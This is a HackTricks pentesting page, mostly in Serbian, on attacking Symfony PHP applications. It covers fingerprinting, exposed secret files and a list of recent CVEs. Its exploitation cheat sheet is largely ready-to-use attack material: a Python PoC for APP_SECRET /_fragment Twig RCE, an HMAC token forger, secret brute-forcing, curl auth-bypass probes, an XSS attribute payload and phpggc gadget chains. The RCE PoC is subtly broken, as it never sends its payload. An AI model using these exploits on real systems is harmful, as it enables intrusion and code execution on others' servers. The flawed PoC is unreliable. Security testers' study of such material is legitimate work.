Symfony
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Symfony is jedan od najkorišćenijih PHP frameworks i redovno se pojavljuje u procenama enterprise, e-commerce i CMS ciljeva (Drupal, Shopware, Ibexa, OroCRM … svi ugrađuju Symfony komponente). Ova strana sakuplja offensive savete, uobičajene pogrešne konfiguracije i recentne ranjivosti koje treba da imate na listi za proveru kada otkrijete Symfony aplikaciju.
Historical note: A large part of the ecosystem still runs the 5.4 LTS branch (EOL November 2025). Symfony 7.4 became the new LTS in Nov 2025 and will receive security fixes until Nov 2029. Always verify the exact patch-level because many 2024‑2026 advisories were fixed only in micro releases.
Recon & Enumeration
Finger-printing
- HTTP response headers:
X-Powered-By: Symfony,X-Debug-Token,X-Debug-Token-Linkor cookies starting withsf_redirect,sf_session,MOCKSESSID. - Source code leaks (
composer.json,composer.lock,/vendor/…) često otkrivaju tačnu verziju:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Public routes that only exist on Symfony:
/_profiler(Symfony Profiler & debug toolbar)/_wdt/<token>(“Web Debug Toolbar”)/_error/{code}.{_format}(pretty error pages)/app_dev.php,/config.php,/config_dev.php(pre-4.0 dev front-controllers)- Wappalyzer, BuiltWith or ffuf/feroxbuster wordlists:
symfony.txt→ look for/_fragment,/_profiler,.env,.htaccess.
Interesting files & endpoints
| Path | Zašto je bitno |
|---|---|
/.env, /.env.local, /.env.prod | Često pogrešno postavljeno → leaks APP_SECRET, DB creds, SMTP, AWS keys |
/.git, .svn, .hg | Otkrivanje izvornog koda → kredencijali + poslovna logika |
/var/log/*.log, /log/dev.log | Pogrešna konfiguracija web-root-a izlaže stack-traces |
/_profiler | Puna istorija zahteva, konfiguracija, service container, APP_SECRET (≤ 3.4) |
/_fragment | Ulazna tačka koju koriste ESI/HInclude. Može se zloupotrebiti kada se zna APP_SECRET |
/vendor/phpunit/phpunit/phpunit | PHPUnit RCE ako je dostupno (CVE-2017-9841) |
/index.php/_error/{code} | Finger-print i ponekad leak exception traces |
High-impact Vulnerabilities
1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)
- CVE-2019-18889 originally, but still appears on modern targets when debug is left enabled or
.envis exposed. - Kada se zna 32-znamenkasti
APP_SECRET, skrojite HMAC token i zloupotrebite internirender()controller da izvršite proizvoljni Twig:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Excellent write-up & exploitation script: Ambionics blog (linked in References).
2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)
- Pogađa verzije ispod 5.4.50, 6.4.29 i 7.3.7. Normalizacija puta može ukloniti vodeći
/, čime se lome pravila pristupa koja pretpostavljaju/adminitd. - Brzi test:
curl -H 'PATH_INFO: admin/secret' https://target/index.php→ ako dođe do admin ruta bez autentikacije, pronašli ste problem. - Ispravka: nadogradnja
symfony/http-foundationili celog framework-a na patch koji sadrži fiks.
3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)
- Pogađa verzije ispod 5.4.51, 6.4.33, 7.3.11, 7.4.5 i 8.0.5 na Windows kada se PHP pokreće iz MSYS2 (Git-Bash, mingw).
Processne zaklanja=što dovodi do korumpiranih putanja; destruktivne komande (rmdir,del) mogu pogoditi nepredviđene direktorijume. - Ako možete upload-ovati PHP skriptu ili uticati na Composer/CLI helpere koji zovu
Process, konstrukti arguments sa=(npr.E:/=tmp/delete) da prouzrokujete prepisivanje putanje.
4. Runtime env/argv injection – CVE-2024-50340 (Runtime)
- Kada je
register_argv_argc=Oni koriste se non-SAPI runtimes, posebno skrojeni query string-ovi mogu da okrenuAPP_ENV/APP_DEBUGprekoargvparsiranja. Patch-ovano u 5.4.46/6.4.14/7.1.7. - Tražite
/?--env=prodili slično u logovima.
5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)
- Specijalni karakteri u URI nisu bili validirani na isti način kao u browserima, dopuštajući redirect ka domenima pod kontrolom napadača. Fix u 5.4.46/6.4.14/7.1.7.
6. Symfony UX attribute injection – CVE-2025-47946
symfony/ux-twig-component&symfony/ux-live-componentpre 2.25.1 renderuju{{ attributes }}bez escaping-a → attribute injection/XSS. Ako aplikacija dozvoljava korisnicima da definišu atribute komponenti (admin CMS, email templating) možete da lančano dođete do injekcije skripte.- Nadogradite oba paketa na 2.25.1+. Kao manualni exploit, postavite JS u vrednost atributa prosleđenog custom komponenti i izazovite renderovanje.
7. Windows Process Hijack – CVE-2024-51736 (Process)
- Komponenta
Processje tražila current working directory prePATHna Windows-u. Napadač koji može da upload-ujetar.exe,cmd.exe, itd. u upisiv web-root i pokreneProcess(npr. ekstrakcija fajlova, generisanje PDF) dobija izvršenje komandi. - Patch-ovano u 5.4.50, 6.4.14, 7.1.7.
8. Session-Fixation – CVE-2023-46733
- Authentication guard je ponovo koristio postojeći session ID nakon prijave. Ako napadač podesi cookie pre nego što žrtva autentifikuje, preuzme nalog posle login-a.
9. Twig sandbox XSS – CVE-2023-46734
- U aplikacijama koji izlažu user-controlled template-ove (admin CMS, email builder)
nl2brfilter može da se zloupotrebi za zaobilaženje sandbox-a i injekciju JS-a.
10. Symfony 1 gadget chains (still found in legacy apps)
phpggc symfony/1 system idproizvodi Phar payload koji izaziva RCE kada se deserializuje na klasama kao što jesfNamespacedParameterHolder. Proverite file-upload endpoint-e iphar://wrapper-e.
PHP - Deserialization + Autoload Classes
Exploitation Cheat-Sheet
Calculate HMAC token for /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
Bruteforce slabog APP_SECRET
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE preko izloženog Symfony Console
Ako je bin/console dostupan preko php-fpm ili direct CLI upload:
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Koristite deserialization gadgets unutar cache directory ili napišite zlonamerni Twig template koji će biti izvršen na next request.
Brzo testirajte PATH_INFO bypass (CVE-2025-64500)
curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.
Spray UX attribute injection (CVE-2025-47946)
{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />
Ako renderovani izlaz ispiše atribut ne-escape-ovan, XSS uspeva. Patch na 2.25.1+.
Odbrambene napomene
- Never deploy debug (
APP_ENV=dev,APP_DEBUG=1) na produkciju; blokirajte/app_dev.php,/_profiler,/_wdtu konfiguraciji web-servera. - Skladištite tajne u env var-ovima ili
vault/secrets.local.php, nikada u fajlovima dostupnim kroz document-root. - Sprovodite upravljanje ispravkama – pretplatite se na Symfony security advisories i održavajte bar LTS patch-level (5.4.x do Nov 2025, 6.4 do Nov 2027, 7.4 do Nov 2029).
- Ako koristite Windows, odmah nadogradite da ublažite CVE-2024-51736 & CVE-2026-24739 ili dodajte
open_basedir/disable_functionsodbranu u dubinu.
Korisni ofanzivni alati
- ambionics/symfony-exploits – secret-fragment RCE, otkrivanje debugger ruta.
- phpggc – Gotovi gadget chains za Symfony 1 & 2.
- sf-encoder – mali pomoćnik za izračunavanje
_fragmentHMAC (Go implementacija).
References
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component
- Symfony Blog – CVE-2025-47946: Unsanitized HTML attribute injection in UX components
- Symfony Blog – CVE-2026-24739: Incorrect argument escaping under MSYS2/Git Bash
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


